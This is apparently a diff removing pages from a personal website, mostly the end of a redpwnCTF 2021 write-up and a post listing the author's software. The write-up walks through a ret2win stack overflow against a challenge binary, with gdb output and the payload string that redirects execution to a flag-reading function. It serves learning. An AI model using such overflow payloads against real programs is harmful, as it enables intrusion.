</span> - <span class=""> - </span> - <span class="token builtin"> - len - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - content - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - n - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - [ - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - for - </span> - <span class=""> - line - </span> - <span class="token keyword"> - in - </span> - <span class=""> - arr - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class=""> - sub - </span> - <span class="token operator"> - = - </span> - <span class=""> - line - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 16 - </span> - <span class="token punctuation"> - : - </span> - <span class="token number"> - 20 - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token comment"> - # the part that changes - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - if - </span> - <span class=""> - sub - </span> - <span class="token operator"> - == - </span> - <span class=""> - </span> - <span class="token string"> - 'IIcu' - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class="token comment"> - # IIcu -> 0x0 - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - append - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - '0' - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - else - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class="token comment"> - # K0o0 -> 0x1 - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - append - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - '1' - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token string"> - '' - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - join - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token comment"> - # join all the list indices together into a string - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - # decode the binary string into ascii characters - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - for - </span> - <span class=""> - i - </span> - <span class="token keyword"> - in - </span> - <span class=""> - </span> - <span class="token builtin"> - range - </span> - <span class="token punctuation"> - ( - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token builtin"> - len - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token number"> - 8 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - print - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - chr - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - int - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - i - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - i - </span> - <span class="token operator"> - + - </span> - <span class="token number"> - 8 - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token number"> - 2 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - end - </span> - <span class="token operator"> - = - </span> - <span class="token string"> - '' - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - # newline for good measure - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - print - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "\n" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - end - </span> - <span class="token operator"> - = - </span> - <span class="token string"> - '' - </span> - <span class="token punctuation"> - ) - </span> - </code> - </div> - </pre> - <h3 id="pwnret2generic-flag-reader"> - pwn/ret2generic-flag-reader - </h3> - <p> - This was the second binary exploitation challenge I tackled, and it went much -better than the first because I (sort of) knew what I was doing by now. - </p> - <p> - I figured the 'ret2' part of the title challenge was short for 'return to', and -my suspicion was confirmed after looking at the c source: - </p> - <pre> - <div class="prismjs"> - <code class="language-c" style="white-space:pre"> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdio.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <string.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdlib.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - void - </span> - <span class=""> - </span> - <span class="token function"> - super_generic_flag_reading_function_please_ret_to_me - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - flag - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 0x100 - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - } - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - FILE - </span> - <span class="token operator"> - * - </span> - <span class=""> - fp - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - fopen - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "./flag.txt" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token string"> - "r" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - if - </span> - <span class=""> - </span> - <span class="token punctuation"> - ( - </span> - <span class="token operator"> - ! - </span> - <span class=""> - fp - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "no flag!! contact a member of rob inc" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - exit - </span> - <span class="token punctuation"> - ( - </span> - <span class="token operator"> - - - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - fgets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - flag - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token number"> - 0xff - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - fp - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - flag - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - fclose - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - fp - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - int - </span> - <span class=""> - </span> - <span class="token function"> - main - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - void - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - comments_and_concerns - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 32 - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdout - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdin - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stderr - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..." - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "slap on some flavortext and there's no way rob will fire me now!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "this is genius!! what do you think?" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - gets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - comments_and_concerns - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - </code> - </div> - </pre> - <p> - With my newfound knowledge of binary exploitation, I figured I would have to -overwrite the return pointer on the stack somehow, so the program calls the - <code> - super_generic_flag_reading_function_please_ret_to_me - </code> - function that isn't -called at all in the original. - </p> - <p> - The only input we have control over is again a call to - <code> - gets(); - </code> - </p> - <p> - Let's look at the dissassembly in gdb: - </p> - <pre> - <code> - (gdb) disas main -Dump of assembler code for function main: - 0x00000000004013f4 <+79>: call 0x4010a0 <puts@plt> - 0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0 - 0x0000000000401400 <+91>: call 0x4010a0 <puts@plt> - 0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118 - 0x000000000040140c <+103>: call 0x4010a0 <puts@plt> - 0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160 - 0x0000000000401418 <+115>: call 0x4010a0 <puts@plt> - 0x000000000040141d <+120>: lea rax,[rbp-0x20] - 0x0000000000401421 <+124>: mov rdi,rax - 0x0000000000401424 <+127>: call 0x4010e0 <gets@plt> - 0x0000000000401429 <+132>: mov eax,0x0 - 0x000000000040142e <+137>: leave - 0x000000000040142f <+138>: ret -End of assembler dump. - </code> - </pre> - <p> - We see again multiple calls to - <code> - <puts@plt> - </code> - and right after a call to - <code> - <gets@plt> - </code> - . There is no - <code> - cmp - </code> - and - <code> - jne - </code> - to be found in this challenge though. - </p> - <p> - The goal is to overwrite the - <em> - return adress - </em> - . This is a memory adress also -stored in memory, and the program will move execution to that memory adress -once it sees a - <code> - ret - </code> - instruction. In this 'vanilla' state, the return adress -always goes to the assembly equivalent of an - <code> - exit() - </code> - function. Let's see if we -can overwrite it by giving too much input: - </p> - <pre> - <code> - (gdb) break *0x000000000040142f -Breakpoint 1 at 0x40142f -(gdb) run < <(python3 -c "print('a' * 56)") --- Breakpoint 1 hit -- -(gdb) info registers -rax 0x0 0x0 -rbx 0x401430 0x401430 -rsi 0x7ffff7f7d883 0x7ffff7f7d883 -rdi 0x7ffff7f804e0 0x7ffff7f804e0 -rbp 0x6161616161616161 0x6161616161616161 -rsp 0x7fffffffd898 0x7fffffffd898 -rip 0x40142f 0x40142f <main+138> - </code> - </pre> - <p> - As you can see, the $rbp register is completely overwritten with - <code> - 0x61 - </code> - 's. -Let's check the $rsp register to see where the - <code> - main() - </code> - function tries to go -after - <code> - ret - </code> - : - </p> - <pre> - <code> - (gdb) run -Starting program: ret2generic-flag-reader -alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... -how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! -slap on some flavortext and there's no way rob will fire me now! -this is genius!! what do you think? -a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 --- Breakpoint 1 hit -- -(gdb) x/1gx $rsp -0x7fffffffd898: 0x3363326331633063 - </code> - </pre> - <p> - Let's use cyberchef to see what - <code> - 0x3363326331633063 - </code> - is in ascii! - </p> - <p> - </p> - <div class="image"> - <img src="/img/redpwn2021/cyberchef1.png" alt=""> - </div> - <p> - </p> - <p> - Hmm, it's backwards. Let's reverse it! - </p> - <p> - </p> - <div class="image"> - <img src="/img/redpwn2021/cyberchef2.png" alt=""> - </div> - <p> - </p> - <p> - Let's find the adress of the super generic flag reading function with gdb. - </p> - <pre> - <code> - (gdb) print super_generic_flag_reading_function_please_ret_to_me -$2 = {<text variable, no debug info>} 0x4011f6 <super_generic_flag_reading_function_please_ret_to_me> - </code> - </pre> - <p> - Now we're ready to craft a string that exploits the program and runs the secret -function! - </p> - <pre> - <code> - a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original - c0c1c2c3 <- ends up in $rsp -aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' ) - - c 0 c 1 c 2 c 3 <- ends up in $rsp - 3 c 2 c 1 c 0 c <- reverse -0x3363326331633063 <- reverse (hex) -0x00000000004011f6 <- pointer we want in $rsp - f611400000000000 <- reverse - \xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring - -exploit string: -b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00' - </code> - </pre> - <p> - Now let's try it in an environment-less shell: - </p> - <pre> - <code> - python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader -alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... -how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! -slap on some flavortext and there's no way rob will fire me now! -this is genius!! what do you think? -flag{this_is_a_dummy_flag_go_solve_it_yourself} - -Segmentation fault (core dumped) -sh-5.1$ - </code> - </pre> - <h3 id="revbread-making"> - rev/bread-making - </h3> - <p> - For this challenge, I first tried using iaito again to do some program flow -analysis. After giving up on that, I decided to instead brute-force the correct -steps by hand. This was a very long and boring process. - </p> - <p> - First I used - <code> - strings - </code> - again to extract all the dialogue and user input strings -from the binary. Then I filtered them to not include obvious dialogue, but only -the possible user input strings. And this is the correct path that gives the -flag: - </p> - <pre> - <code> - add flour -add salt -add yeast -add water -hide the bowl inside a box -wait 3 hours -work in the basement -preheat the toaster oven -set a timer on your phone -watch the bread bake -pull the tray out with a towel -open the window -unplug the oven -unplug the fire alarm -wash the sink -clean the counters -flush the bread down the toilet -get ready to sleep -close the window -replace the fire alarm -brush teeth and go to bed - </code> - </pre> - <p> - In hindsight I could've probably made a simple python script to brute force all -remaining possibilities until it got longer output from the program, but -laziness took over and I decided that spending 45 minutes doing very dull work -was more worth it instead. - </p> - <h2 id="epilogue"> - Epilogue - </h2> - <p> - Of the 47 total challenges, me and Willem only solved 15. My end goal for this -CTF wasn't winning to begin with, so the outcome didn't matter for me. After -the second day I set the goal of reaching the 3rd page of the leaderboards as -my goal, and we reached 277'th place in the end which made my mom very proud! - </p> - <p> - </p> - <div class="image"> - <img src="/img/redpwn2021/leaderboard.png" alt=""> - </div> - <p> - </p> - <p> - I enjoyed the CTF a lot! There were some very frustrating challenges, and I -still don't get how people solved web/wtjs, but that's fine. I did learn how to -use GDB and a lot of other things during the CTF which were all very rewarding. -I will definitely be participating in the 2022 redpwnCTF, and maybe even some -others if they're beginner friendly :) - </p> - <p> - During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe -host one myself, though I have no clue where to start with that. Maybe keep an -eye out for that ;) - </p> -</div> - - - Software that I use - software - /post/software - April 13 2021 - <div class="contentWrapper"> - <h2 id="pc-software"> - PC software - </h2> - <p> - All of the software on this page is cool and I think you should try it. I also -use all of this software, and will update this page when I find new, - <em> - even -cooler - </em> - software to use instead. Most if not all of my configuration files -(dotfiles) are on my - <a href="https://github.com/lonkaars/dotfiles"> - github - </a> - . You can -clone these and edit them to fit your needs, or you can use them as a reference -for when you can't figure out how to configure something. - </p> - <h3 id="regular-software"> - Regular software - </h3> - <ul> - <li> - <p> - <strong> - Email client - </strong> - : - <a href="https://neomutt.org/"> - neomutt - </a> - . It's fast and simple, -though configuring it was a pain in the ass. I'm currently using it in -combination with mbsync and imapnotify to get notifications for new emails, -and sync my mailbox for fast email viewing. - </p> - </li> - <li> - <p> - <strong> - Music player - </strong> - : - <a href="https://www.musicpd.org/"> - mpd - </a> - with - <a href="https://github.com/ncmpcpp/ncmpcpp"> - ncmpcpp - </a> - . This is the best music setup -I've ever used. I download all my music in .flac format and mpd - <em> - just works - </em> - . -Since mpd has a server-client structure, I could also use this to set up -multiple devices that can add music to a central queue at a party or -something, but I just use it to launch - <a href="https://github.com/DanielFGray/fzf-scripts/blob/master/fzmp"> - an fzf mpc -wrapper - </a> - to -quickly add music while I'm doing something else. - </p> - </li> - <li> - <p> - <strong> - Text editor - </strong> - : - <a href="https://neovim.io/"> - nvim - </a> - . It's vim. If you don't like vim, -you should try using it longer. If you still don't like vim, you can use - <a href="https://appimage.github.io/Code_OSS/"> - code oss - </a> - which is visual studio code -but without Microsoft's creepy telemetry features. - </p> - </li> - <li> - <p> - <strong> - PDF viewer - </strong> - : - <a href="https://pwmt.org/projects/zathura/"> - zathura - </a> - . It's a pdf -viewer with vim bindings, and it works with my TeX editing setup's live -reload thingy. - </p> - </li> - <li> - <p> - <strong> - Image viewer - </strong> - : - <a href="https://github.com/muennich/sxiv"> - sxiv - </a> - . It's like zathura -but for images, but it also does a bunch of other stuff that I don't use very -often. - </p> - </li> - <li> - <p> - <strong> - Browser - </strong> - : - <a href="https://brave.com/"> - brave - </a> - . It's a normie-friendly chromium -fork with extra privacy features! I of course use brave (or any -chromium-based browser) with - <a href="https://www.tampermonkey.net/"> - tampermonkey - </a> - , - <a href="https://ublockorigin.com/"> - ublock origin - </a> - , - <a href="https://github.com/openstyles/stylus"> - stylus - </a> - and - <a href="https://darkreader.org/"> - dark -reader - </a> - . - </p> - </li> - <li> - <p> - <strong> - Terminal - </strong> - : - <a href="https://st.suckless.org/"> - st - </a> - . It's fast and simple, nothing -to complain about. I have my - <a href="https://github.com/lonkaars/st"> - own st fork - </a> - , -with a bunch of patches that make me happy. - </p> - </li> - <li> - <p> - <strong> - Password manager - </strong> - : - <a href="https://bitwarden.com/"> - bitwarden - </a> - . Open source -password manager that you can host yourself. It also has public servers which -are mostly free, but some features like time-based one-time passwords are -paid. All the clients are also open source. - </p> - </li> - <li> - <p> - <strong> - Document typesetting - </strong> - : - <a href="https://www.latex-project.org/"> - LaTeX - </a> - (using - <a href="https://personal.psu.edu/~jcc8/software/latexmk/"> - latexmk - </a> - with the - <a href="http://xetex.sourceforge.net/"> - XeTeX - </a> - compiler). - </p> - </li> - <li> - <p> - <strong> - File browser - </strong> - : - <a href="https://github.com/ranger/ranger"> - ranger - </a> - . It's kind of -slow, but I use the bulkrename feature very often, and I haven't gotten used -to the perl - <code> - rename - </code> - script yet. - </p> - </li> - <li> - <p> - <a href="https://github.com/MacPaw/XADMaster"> - unar - </a> - . I like running - <code> - unar [archive] - </code> - instead of using - <code> - 7z - </code> - , - <code> - tar - </code> - , - <code> - unzip - </code> - , etc. It creates a new folder to unpack -to automatically so it does exactly what I need. - </p> - </li> - </ul> - <h3 id="os-stuff"> - OS stuff - </h3> - <ul> - <li> - <p> - <strong> - Window manager - </strong> - : - <a href="https://github.com/Airblader/i3"> - i3-gaps - </a> - . I tried it -once and didn't switch back so this is a winner I guess. I've also heard good -things about - <a href="https://dwm.suckless.org/"> - dwm - </a> - , though I haven't used it -myself. Most people complain about i3's limited configurability, but I -haven't ran into something that it doesn't do for me. - </p> - </li> - <li> - <p> - <strong> - Application launcher - </strong> - : - <a href="https://github.com/davatorium/rofi"> - rofi - </a> - . I've -been using rofi since I started using linux, and haven't switched to anything -else because it's - <em> - very - </em> - configurable, and has a dmenu mode for using it -instead of dmenu with other scripts. I use it primarily as my application -launcher, but I also have a hotkey setup to launch - <code> - bwmenu - </code> - which is a script -that fills in bitwarden passwords using rofi. - </p> - </li> - <li> - <p> - <strong> - Shell - </strong> - : - <a href="https://www.zsh.org/"> - zsh - </a> - with - <a href="https://ohmyz.sh/"> - oh-my-zsh - </a> - . -It's zsh, all the cool kids use it already. I do have - <code> - /usr/bin/sh - </code> - <code> - ln -s - </code> - 'd -to - <code> - /usr/bin/bash - </code> - , but I'd like to change that to - <code> - /usr/bin/dash - </code> - . Eh, I'll -get around to it someday. - </p> - </li> - <li> - <p> - <strong> - Status Bar - </strong> - : - <a href="https://github.com/polybar/polybar"> - polybar - </a> - . Simple bar, -gets the job done, the configuration files make me go insane though. It took -me a good half year of ricing to understand the polybar configuration files, -and I'm still not sure if I do. - </p> - </li> - <li> - <p> - <strong> - Notification daemon - </strong> - : - <a href="https://dunst-project.org/"> - dunst - </a> - . I used to use -deadd-notification-center, but that has waaaay too many haskell dependencies -on arch, so I don't use that anymore. - </p> - </li> - <li> - <p> - <strong> - Global keybinds - </strong> - : - <a href="https://www.nongnu.org/xbindkeys/xbindkeys.html"> - xbindkeys - </a> - . Simple -configuration, works flawlessly, 10/10. - </p> - </li> - <li> - <p> - <strong> - Compositor - </strong> - : - <a href="https://github.com/yshui/picom"> - picom - </a> - . It's a simple -compositor. I use it to enable vsync for desktop windows, and I have it set -up to only show a drop shadow on floating i3 windows. - </p> - </li> - </ul> - <h3 id="closed-source"> - Closed source - </h3> - <ul> - <li> - <p> - <a href="https://discord.com/"> - discord - </a> - . Gamer. The only reason this is listed here -is because I use discord with - <a href="https://github.com/rauenzi/BetterDiscordApp"> - betterdiscord - </a> - (which - <em> - is - </em> - open-source). Betterdiscord allows you to use custom css themes, custom -plugins and a whole bunch of other cool stuff that regular discord doesn't -do. It's technically against TOS, but I don't really care as I only use -quality of life improvement plugins. - </p> - </li> - <li> - <p> - <a href="https://figma.com"> - figma - </a> - . It's the designing software that I use to create -user interface or website mockups. It's easily accessible though a browser, -and it uses webassembly so it's also decently fast. It's free for personal -use. - </p> - </li> - </ul> - <h2 id="server-software"> - Server software - </h2> - <p> - This is the software that runs on my home server. - </p> - <h3 id="email"> - Email - </h3> - <p> - I used - <a href="http://lukesmith.xyz/"> - Luke Smith's - </a> - <a href="https://github.com/LukeSmithxyz/emailwiz"> - emailwiz - </a> - to set up my email server. -The script installs and configures an email setup with - <a href="http://www.postfix.org/"> - postfix - </a> - , - <a href="https://www.dovecot.org/"> - dovecot - </a> - , - <a href="https://spamassassin.apache.org/"> - spamassassin - </a> - and - <a href="http://www.opendkim.org/"> - opendkim - </a> - . - </p> - <h3 id="etesync"> - Etesync - </h3> - <p> - I run my own - <a href="https://www.etesync.com/"> - etesync - </a> - server for synchronizing my -to-do lists, calendar and contacts. It's relatively easy to set up, and has a -web interface that you can use with your own self-hosted instance. - </p> - <h3 id="bitwarden"> - Bitwarden - </h3> - <p> - I also run my own - <a href="https://github.com/bitwarden/server"> - bitwarden - </a> - server. It -uses docker with docker-compose, which are two things that I'm supposed to know -about, but I don't. - </p> - <p> - I'm working on a connect 4 website myself, and I'm planning on learning to use -docker with docker-compose to make it easier to run the seperate parts that are -needed to host the project. - </p> - <h3 id="git"> - Git - </h3> - <p> - I have a - <a href="https://git.zx2c4.com/cgit/about/"> - cgit - </a> - server to host my git -repositories on - <a href="https://git.pipeframe.xyz"> - https://git.pipeframe.xyz - </a> - , and I use - <a href="https://gitolite.com/gitolite/"> - gitolite - </a> - for ssh git push access. Cgit is -very easy to set up, and I like it very much. Gitolite on the other hand is a -pain in the ass to set up, because the documentation is not that great. If -you're planning on using gitolite on your own server, set the umask in - <code> - ~/.gitolite.rc - </code> - of your server's git account to - <code> - 0022 - </code> - . - </p> - <h3 id="sftp"> - SFTP - </h3> - <p> - I have two semi-public sftp accounts set up on my server: - <code> - media - </code> - and - <code> - sftp - </code> - . - <code> - sftp - </code> - is for generic file sharing, and - <code> - media - </code> - is for my media. Both accounts -have tty login disabled and are chroot-jailed to /var/media and /var/sftp. - </p> - <h2 id="phone-apps"> - Phone apps - </h2> - <p> - These are the apps that I use on my phone. I have a Nokia 6 (2017), it's pretty -shitty but I don't really use my phone. I used to have it rooted, but the root -guide on xda forums was written by some Chinese guy, and it came with a Chinese -android rom, which caused me to miss a lot of calls. - </p> - <h3 id="open-source"> - Open source - </h3> - <ul> - <li> - <p> - <strong> - One-time password generator - </strong> - : - <a href="https://github.com/andOTP/andOTP"> - andotp - </a> - </p> - </li> - <li> - <p> - <strong> - App store - </strong> - : - <a href="https://gitlab.com/AuroraOSS/AuroraStore"> - aurora store - </a> - . This -app works better when you're rooted, but it's way better than the google play -store. - </p> - </li> - <li> - <p> - <strong> - App store - </strong> - : - <a href="https://gitlab.com/AuroraOSS/auroradroid"> - aurora f-droid - </a> - </p> - </li> - <li> - <p> - <strong> - Password manager - </strong> - : - <a href="https://github.com/bitwarden/mobile"> - bitwarden - </a> - </p> - </li> - <li> - <p> - <strong> - Browser - </strong> - : - <a href="https://www.bromite.org/"> - bromite - </a> - . This is basically ungoogled -chromium but for mobile. - </p> - </li> - <li> - <p> - <strong> - Calendar - </strong> - : - <a href="https://github.com/Etar-Group/Etar-Calendar"> - etar - </a> - </p> - </li> - <li> - <p> - <a href="https://github.com/etesync/android"> - etesync - </a> - </p> - </li> - <li> - <p> - <strong> - File browser - </strong> - : - <a href="https://github.com/zhanghai/MaterialFiles"> - material -files - </a> - . It looks sexy, it's free, -it's awesome. - </p> - </li> - <li> - <p> - <strong> - Email client - </strong> - : - <a href="https://email.faircode.eu/"> - fairemail - </a> - . STOP CRYING. - </p> - </li> - <li> - <p> - <strong> - Maps - </strong> - : - <a href="https://osmand.net/"> - osmand - </a> - </p> - </li> - <li> - <p> - <strong> - Music player - </strong> - : - <a href="https://www.shuttlemusicplayer.com/"> - shuttle - </a> - . It looks -sexy, it's free, it's awesome. - </p> - </li> - <li> - <p> - <strong> - Instant messenger - </strong> - : - <a href="https://signal.org/"> - signal - </a> - . - <a href="https://twitter.com/elonmusk/status/1347165127036977153"> - papa musk said -it - </a> - . - </p> - </li> - <li> - <p> - <strong> - Manga reader - </strong> - : - <a href="https://tachiyomi.org/"> - tachiyomi - </a> - </p> - </li> - <li> - <p> - <strong> - To-do lists - </strong> - : - <a href="https://tasks.org/"> - tasks.org - </a> - . This is easily the best -to-do app I've ever used, and it integrated very well with etesync. - </p> - </li> - </ul> - <h3 id="closed-source"> - Closed source - </h3> - <ul> - <li> - <strong> - Reddit client - </strong> - : - <a href="https://play.google.com/store/apps/details?id=com.laurencedawson.reddit_sync"> - sync - </a> - </li> - </ul> -</div> - - - diff --git a/public/font/font.css b/public/font/font.css deleted file mode 100644 index 61c9755..0000000 --- a/public/font/font.css +++ /dev/null @@ -1,115 +0,0 @@ -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 400; - font-display: swap; - src: url("./inter/Inter-Regular.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Regular.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 400; - font-display: swap; - src: url("./inter/Inter-Italic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Italic.woff?v=3.15") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 500; - font-display: swap; - src: url("./inter/Inter-Medium.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Medium.woff?v=3.15") format("woff"); -} 